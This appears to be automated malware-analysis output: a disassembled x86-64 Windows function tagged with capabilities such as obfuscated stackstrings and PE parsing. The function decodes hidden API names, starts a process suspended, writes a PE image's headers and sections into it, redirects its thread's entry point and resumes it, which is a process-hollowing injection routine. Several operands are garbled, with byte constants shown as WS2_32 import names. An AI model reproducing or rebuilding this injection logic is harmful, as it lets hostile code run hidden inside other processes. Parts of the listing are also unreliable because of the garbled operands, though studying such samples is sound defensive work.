Function at 0x14003566c
Capabilities:
Contain obfuscated stackstrings
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x1f8
mov rax, qword [0x1401a95d8]
xor rax, rsp
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], 0
call fcn.14002a410
mov dword [rsp + 0xd8], eax
mov byte [rsp + 0x61], 0
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x140035796
call fcn.1400a0a30
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.140040598
nop
mov r9b, byte [rsp + 0x230]
lea r8, [rsp + 0xe0]
lea rdx, [rsp + 0x78]
mov ecx, dword [rsp + 0xd8]
call fcn.140034de0
movzx eax, al
test eax, eax
je 0x140035775
cmp qword [rsp + 0x78], 0
je 0x140035775
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
mov rcx, qword [rsp + 0x78]
call fcn.1400a8230
test eax, eax
je 0x140035775
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xa8]
call fcn.1400a8334
test eax, eax
je 0x140035775
mov byte [rsp + 0x61], 1
mov rax, qword [rsp + 0xe0]
sub rax, 0x18
mov qword [rsp + 0x110], rax
mov rcx, qword [rsp + 0x110]
call fcn.1400a1424
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x1400357b2
movzx eax, byte [rsp + 0x61]
test eax, eax
jne 0x1400357b2
xor al, al
jmp 0x140036184
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x190], 0x33
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x190], 0x32
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x190], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x190], 0x2e
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x190], 0x4b
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x190], 0x64
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x190], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x190], WSAStartup
mov eax, 1
imul rax, rax, 0xc
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0xd
jae 0x14003589c
jmp 0x1400358a1
call fcn.140171264
mov rax, qword [rsp + 0xe8]
mov byte [rsp + rax + 0x190], 0
lea rcx, [rsp + 0x190]
call fcn.1400ac9b4
mov qword [rsp + 0xb8], rax
cmp qword [rsp + 0xb8], 0
je 0x140035cb3
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1b0], 0x43
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x1b0], 0x78
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1b0], 0x53
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 0x10
mov qword [rsp + 0xf0], rax
cmp qword [rsp + 0xf0], 0x11
jae 0x140035937
jmp 0x14003593c
call fcn.140171264
mov rax, qword [rsp + 0xf0]
mov byte [rsp + rax + 0x1b0], 0
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1b0], 0x64
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1b0], 0x61
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1b0], WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1b0], WSAStartup
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1b0], 0x65
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1b0], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1b0], 0x65
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1b0], 0x54
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x1b0], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1b0], WSAStartup
lea rdx, [rsp + 0x1b0]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa380], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1a0], 0x65
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1a0], WSAGetLastError
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1a0], 0x65
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1a0], 0x64
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1a0], WSAStartup
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1a0], WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1a0], 0x65
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1a0], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1a0], 0x75
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1a0], 0x52
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1a0], 0x61
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1a0], 0x54
mov eax, 1
imul rax, rax, 0xc
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], 0xd
jae 0x140035b1f
jmp 0x140035b24
call fcn.140171264
mov rax, qword [rsp + 0xf8]
mov byte [rsp + rax + 0x1a0], 0
lea rdx, [rsp + 0x1a0]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa388], rax
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1c8], 0x50
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSAGetLastError
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 0x10
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0x11
jae 0x140035bb3
jmp 0x140035bb8
call fcn.140171264
mov rax, qword [rsp + 0x100]
mov byte [rsp + rax + 0x1c8], 0
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1c8], WSASetLastError
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1c8], 0x61
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 0xd
mov byte [rsp + rax + 0x1c8], 0x65
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1c8], 0x65
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1c8], 0x63
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSACleanup
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1c8], 0x65
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1c8], WSAStartup
mov eax, 1
imul rax, rax, 0xf
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0xe
mov byte [rsp + rax + 0x1c8], reloc.WS2_32.dll_WSAStartup
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1c8], 0x54
lea rdx, [rsp + 0x1c8]
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401aa390], rax
jmp 0x140035cba
xor al, al
jmp 0x140036184
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x14003611d
mov rax, qword [rsp + 0x108]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x200]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
cmp dword [rax], 0x4550
jne 0x14003611d
lea rdx, [rsp + 0x88]
mov rcx, qword [rsp + 0x208]
call fcn.1400a855c
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x14c
jne 0x140035d3f
cmp dword [rsp + 0x88], 0
jne 0x140035d59
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 4]
cmp eax, 0x8664
jne 0x140035d62
cmp dword [rsp + 0x88], 6
je 0x140035d62
mov al, byte [rsp + 0x60]
jmp 0x140036184
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0xc0]
call fcn.140172be0
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x120]
call fcn.140172be0
mov dword [rsp + 0x120], WSASetLastError
mov dword [rsp + 0x15c], 0x101
xor eax, eax
mov word [rsp + 0x160], ax
movzx eax, byte [rsp + 0x238]
test eax, eax
je 0x140035e2a
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x208]
mov rcx, qword [rsp + 0xb0]
call fcn.1400a8410
mov dword [rsp + 0x8c], eax
jmp 0x140035e88
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x208]
call fcn.1400abb70
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0
je 0x14003611d
mov r9d, 4
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call fcn.1400aabac
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov dword [rax + 0x30], 0x100002
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call fcn.1400a92b0
test eax, eax
je 0x14003610d
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x118]
mov rdx, rax
mov rcx, qword [rsp + 0xc0]
call fcn.1400a942c
movzx eax, byte [rsp + 0x228]
test eax, eax
je 0x140035f35
mov dword [rsp + 0x90], 0x40
jmp 0x140035f40
mov dword [rsp + 0x90], 4
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0xdc], eax
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x50]
mov ecx, dword [rsp + 0xdc]
mov dword [rsp + 0x20], ecx
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call fcn.1400aac7c
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0xa0], 0
je 0x1400360fb
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x54]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x200]
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xc0]
call fcn.1400a91c8
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x68]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0x70], 0
jmp 0x140035ff0
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x70], eax
jge 0x140036071
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x98]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x200]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x98]
mov edx, dword [rdx + 0xc]
mov r8, qword [rsp + 0xa0]
add r8, rdx
mov rdx, r8
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, rcx
mov rcx, qword [rsp + 0xc0]
call fcn.1400a91c8
mov rax, qword [rsp + 0x98]
add rax, 0x28
mov qword [rsp + 0x98], rax
jmp 0x140035fe6
mov rax, qword [rsp + 0x80]
mov rax, qword [rax + 0x88]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0xa0]
mov rdx, rax
mov rcx, qword [rsp + 0xc0]
call fcn.1400a91c8
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x80]
mov qword [rcx + 0x80], rax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xc8]
call qword [0x1401aa380]
mov rcx, qword [rsp + 0xc8]
call qword [0x1401aa388]
mov byte [rsp + 0x60], 1
jmp 0x14003610b
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [0x1401aa390]
jmp 0x14003611d
xor edx, edx
mov rcx, qword [rsp + 0xc0]
call qword [0x1401aa390]
cmp qword [rsp + 0xa8], 0
je 0x140036141
mov rcx, qword [rsp + 0xa8]
call fcn.1400ac548
mov qword [rsp + 0xa8], 0
cmp qword [rsp + 0xb0], 0
je 0x140036165
mov rcx, qword [rsp + 0xb0]
call fcn.1400ab79c
mov qword [rsp + 0xb0], 0
cmp qword [rsp + 0x78], 0
je 0x140036180
mov rcx, qword [rsp + 0x78]
call fcn.1400ab79c
mov qword [rsp + 0x78], 0
mov al, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x1e0]
xor rcx, rsp
call fcn.140171490
add rsp, 0x1f8
ret